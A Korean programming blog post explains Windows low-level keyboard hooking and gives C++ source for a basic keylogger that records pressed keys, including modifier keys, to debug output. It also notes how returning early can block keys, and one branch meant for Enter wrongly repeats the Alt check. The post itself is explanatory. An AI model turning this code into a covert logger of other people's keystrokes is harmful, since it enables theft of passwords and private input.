[C/C++] 키보드 메시지 후킹을 이용한 키로거 만들기
Windows Keyboard Message Hooking
마우스 후킹 포스팅이 끝나자마자 이번엔 키보드 후킹입니다. 키보드 후킹은 예로부터 악의적인 목적으로 많이 사용이 되어왔지만, 순기능으로 활용할 수 있기때문에 키로거에 대해 한번 알아보도록 하겠습니다.
마우스 후킹에 대해 궁금하신분은 저번 포스팅을 참고하세요
https://wendys.tistory.com/111
[C/C++] 윈도우 마우스 후킹으로 제스처 인식 프로그램 만들기 (마무리)
마우스 후킹을 이용한 매크로 프로그램 제작 저번 포스팅에 이어 이번에도 마우스 후킹에 관련된 내용입니다. 아직 못 보셨다면 기본 마우스 후킹에 대한 내용을 보시고 보셔도 좋습니다. https://wendys.tistory...
wendys.tistory.com
키보드 후킹
사용자의 입력
-> 시스템으로 전달
-> 응용프로그램으로 전달
의 순서로 동작을 하게 되는데, 이때 시스템에서 응용프로그램으로 값을 전달하는 시점에 키보드 데이터를 가로채서 변조 또는 차단 혹은 키 데이터를 기록하는 등의 행위를 하는 방법입니다.
How to keyboard hooking
키보드 후킹도 마우스 후킹과 마찬가지로 SetWindowsHookExW API를 사용하게 됩니다.
https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa
SetWindowsHookExA function (winuser.h)
Installs an application-defined hook procedure into a hook chain.
docs.microsoft.com
마우스 후킹때처럼 WH_KEYBOARD
와 WH_KEYBOARD_LL
중 Low Level Event를 전달받을 수 있는 WH_KEYBOARD_LL
이벤트를 전달받을 예정입니다.
Keyboard Hooking Source
bool attach(
__in HINSTANCE module
) {
_hook = SetWindowsHookExW(WH_KEYBOARD_LL, proxy_function, module, 0);
return _hook != nullptr;
}
LRESULT hook_keyboard_callback::new_function(
__in int code,
__in WPARAM wparam,
__in LPARAM lparam
) {
do {
if (code < HC_ACTION) {
break;
}
KBDLLHOOKSTRUCT* keyboard_param = (KBDLLHOOKSTRUCT*)lparam;
if (WM_KEYDOWN == wparam) {
//
// VK CODE : https://docs.microsoft.com/ko-kr/windows/win32/inputdev/virtual-key-codes
//
if (0x00 < keyboard_param->vkCode && 0xFF > keyboard_param->vkCode) {
const char key = keyboard_param->vkCode;
std::string log_message;
if (GetAsyncKeyState(VK_LCONTROL) & 0x8000 || GetAsyncKeyState(VK_RCONTROL) & 0x8000) {
log_message.append("[Ctrl]");
}
else if (GetAsyncKeyState(VK_LSHIFT) & 0x8000 || GetAsyncKeyState(VK_RSHIFT) & 0x8000) {
log_message.append("[Shift]");
}
else if (GetAsyncKeyState(VK_LMENU) & 0x8000 || GetAsyncKeyState(VK_RMENU) & 0x8000) {
log_message.append("[Alt]");
}
else if (GetAsyncKeyState(VK_LMENU) & 0x8000 || GetAsyncKeyState(VK_RMENU) & 0x8000) {
log_message.append("[Enter]");
}
else {
// ...
}
if (0x30 <= keyboard_param->vkCode && 0x5A >= keyboard_param->vkCode) {
log_message.push_back(key);
}
else if(VK_BACK == keyboard_param->vkCode) {
log_message.append("[Backspace]");
}
else {
// ...
}
OutputDebugStringA(log_message.c_str());
}
}
} while (false);
return ::CallNextHookEx(_hook, code, wparam, lparam);
}
키보드 후킹에서는 KBDLLHOOKSTRUCT* 값이 전달되어 오게되는데, 구조체를 보면 다음과 같은 구조를 가지고 있습니다.
typedef struct tagKBDLLHOOKSTRUCT {
DWORD vkCode;
DWORD scanCode;
DWORD flags;
DWORD time;
ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;
여기서 가장 중요한 vkCode
는 어떤 키가 눌렸는지를 확인할 수 있으며, KV_LBUTTON
(0x01) ~ KV_OEM_CLEAR
(0 xFE)까지 입력되어 들어올 수 있습니다.
위의 키 중 조합키로 넘어오는 경우는 따로따로 처리를 해주어야 합니다. 처음 컨트롤 키를 누르면 vkCode = VK_LCONTROL 이벤트가 들어오게 되고 그 상태에서 A 키를 누르게 되면 vkCode = 'A'가 들어있게 됩니다.
[Ctrl] + 'A'를 눌렀다고 판단을 하기 위해선 어떻게 처리를 해주어야 할까요?
이때 사용하는 API가 GetAsyncKeyState
입니다. 근데 위에 사용했을 때 왜 GetAsyncKeyState(Key & 0x8000) 처리를 해주었을까요?
0x8000
값은 현재 키가 눌려져 있는지 상태 값을 나타내게 되고 0x0001
은 저번 호출 시점과 이번 호출 사이에 키가 눌려진 적이 있는지 확인하기 위한 값입니다.0x8001
값을 체크할 필요가 없습니다.
TIP MSDN에서는 현재 키보드 상태 값을 확인할 필요가 있는 경우 GetKeyState
가 아닌 GetAsyncKeyState
의 사용을 권장하고 있습니다. GetAsyncKeyState는 실제 키보드 값을 가져오고 GetKeyState는 메시 지큐에 따라 값이 변할 수 있기 때문입니다.
Sample
테스트를 한번 해보았습니다. 키보드 보안 프로그램 등이 실행 중인 경우에는 소용이 없겠지만, 위와 같이 했을 때 다음과 같이 키보드 입력을 캡처할 수 있었습니다.
TIP 만약 특정 키를 입력할 수 없도록 하거나, 키보드를 먹통으로 만들고싶다면 CallNextHookEx를 호출하기 전에 return 1 처리를 통하여 간단하게 처리할 수 있습니다.
'⌨ DEVELOPMENT > WIndows Hooking' 카테고리의 다른 글
[C++] 최고의 API Hooking Library MS Detours. (1) | 2019.12.07 |
---|---|
[Hooking] dll injection을 이용하여 다른 프로세스에 dll 로드하기 (0) | 2019.11.16 |
[C/C++] 윈도우 마우스 후킹으로 제스처 인식 프로그램 만들기 (마무리) (2) | 2019.07.25 |
[C/C++] 윈도우 마우스 후킹으로 제스처 인식 프로그램 만들기 (마우스 이동 방향 및 각도 구하기) (0) | 2019.07.23 |
[C/C++] 윈도우 마우스 후킹으로 제스처 인식 프로그램 만들기 (마우스 이동거리 계산하기) (2) | 2019.07.23 |
[C/C++] 윈도우 메시지 후킹 마우스를 지배하는자 (windows mouse message hooking) (1) | 2019.07.21 |
[C/C++] 윈도우 후킹을 하기 전에 알아야 할 DLL Main에서 하면 안되는 5가지 작업 (2) | 2019.07.16 |
[C/C++] 윈도우 메시지 가로채기 기법 (windows message hooking) (0) | 2019.07.14 |
댓글
이 글 공유하기
다른 글
-
[C++] 최고의 API Hooking Library MS Detours.
[C++] 최고의 API Hooking Library MS Detours.
2019.12.07 -
[Hooking] dll injection을 이용하여 다른 프로세스에 dll 로드하기
[Hooking] dll injection을 이용하여 다른 프로세스에 dll 로드하기
2019.11.16 -
[C/C++] 윈도우 마우스 후킹으로 제스처 인식 프로그램 만들기 (마무리)
[C/C++] 윈도우 마우스 후킹으로 제스처 인식 프로그램 만들기 (마무리)
2019.07.25 -
[C/C++] 윈도우 마우스 후킹으로 제스처 인식 프로그램 만들기 (마우스 이동 방향 및 각도 구하기)
[C/C++] 윈도우 마우스 후킹으로 제스처 인식 프로그램 만들기 (마우스 이동 방향 및 각도 구하기)
2019.07.23